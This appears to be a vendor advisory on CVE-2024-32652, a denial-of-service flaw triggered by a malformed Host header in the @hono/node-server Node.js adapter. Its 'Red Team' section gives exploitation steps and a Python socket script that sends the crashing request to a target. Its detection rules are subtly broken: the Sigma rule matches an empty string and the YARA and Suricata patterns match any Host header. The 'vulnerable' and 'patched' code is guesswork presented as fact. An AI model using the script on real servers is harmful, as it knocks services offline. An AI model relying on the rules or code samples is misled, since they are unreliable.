CVE-2024-32652

Executive Summary

CVE-2024-32652 is a high-severity (CVSS 7.5) denial-of-service vulnerability affecting the @hono/node-server adapter, which allows running Hono applications on Node.js. The vulnerability is triggered by sending a specially crafted Host header that cannot be parsed by the URL constructor as a hostname. This causes the application to hang indefinitely, leading to a denial of service. The issue is patched in version 1.10.1. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability affects the npm package @hono/node-server. Organizations using this package should immediately update to version 1.10.1 or later. The package is a critical component for running Hono applications on Node.js, and its compromise could lead to service unavailability. Supply chain security practices should include verifying package integrity via checksums and monitoring for any suspicious updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is easily exploitable remotely without authentication, making it a significant threat to availability. The low attack complexity and lack of required privileges increase the risk.

Deep Dive & Mechanics

The @hono/node-server adapter uses the URL constructor to parse the Host header from incoming HTTP requests. When a Host header contains invalid values (e.g., empty string, slashes /, or other non-hostname strings), the URL constructor fails to parse it correctly, causing the application to hang. This is a classic case of improper input validation (CWE-754).

The root cause lies in the lack of sanitization or validation of the Host header before it is passed to the URL constructor. The fix in version 1.10.1 likely involves checking the Host header against a valid hostname pattern or using a try-catch block to handle parsing errors gracefully.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.10.1):

// Example of vulnerable code
const url = new URL(`http://${hostHeader}`);
// If hostHeader is invalid, this line hangs

Patched Code (1.10.1):

// Example of patched code
if (!isValidHostname(hostHeader)) {
  // Handle invalid host header
  return;
}
const url = new URL(`http://${hostHeader}`);

The patched version adds a validation step to ensure the Host header is a valid hostname before attempting to parse it.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a target running @hono/node-server version < 1.10.1.
2. Send an HTTP request with a malformed Host header, such as an empty string or a string containing slashes.
3. The application will hang, causing a denial of service.

Example Request:

GET / HTTP/1.1
Host: /

Automation Script:

import socket

target = "example.com"
port = 3000

payload = b"GET / HTTP/1.1\r\nHost: /\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(payload)
sock.close()

Blue Team

Detection Steps:

1. Monitor for HTTP requests with unusual Host headers (e.g., empty, containing slashes, or non-standard characters).
2. Implement rate limiting and anomaly detection on incoming requests.
3. Use Web Application Firewall (WAF) rules to block malformed Host headers.

Mitigation:

• Update to @hono/node-server version 1.10.1 or later.
• Apply virtual patching if immediate update is not possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with Host headers containing empty strings, slashes, or other non-hostname characters.
  • Repeated connection attempts from the same IP address with malformed Host headers.

• Log IOCs:

  • Application logs showing hanging or unresponsive behavior after receiving a request with an invalid Host header.
  • Error logs related to URL parsing failures.

Detection Engineering

YARA Rule

rule CVE_2024_32652_Host_Header_DoS {
    meta:
        description = "Detects malformed Host headers targeting CVE-2024-32652"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-32652"
    strings:
        $host_header = /Host:\s*(\/|\\|\s*)/ nocase
    condition:
        $host_header
}

Sigma Rule

title: CVE-2024-32652 - Malformed Host Header DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malformed Host headers targeting CVE-2024-32652
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32652
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-host|contains:
            - '/'
            - '\\'
            - ''
    condition: selection
falsepositives:
    - Legitimate requests with unusual Host headers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32652 - Malformed Host Header DoS"; flow:to_server; content:"Host"; nocase; http_header; pcre:"/Host:\s*(\/|\\|\s*)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Update: Upgrade @hono/node-server to version 1.10.1 or later.
2. Virtual Patching: If immediate update is not possible, implement a WAF rule to block requests with malformed Host headers.
3. Input Validation: Ensure all incoming Host headers are validated against a strict pattern before processing.
4. Monitoring: Enable logging and monitoring for unusual Host header patterns.
5. Rate Limiting: Implement rate limiting to mitigate potential DoS attacks.

Valters IT
Securing Digital Frontiers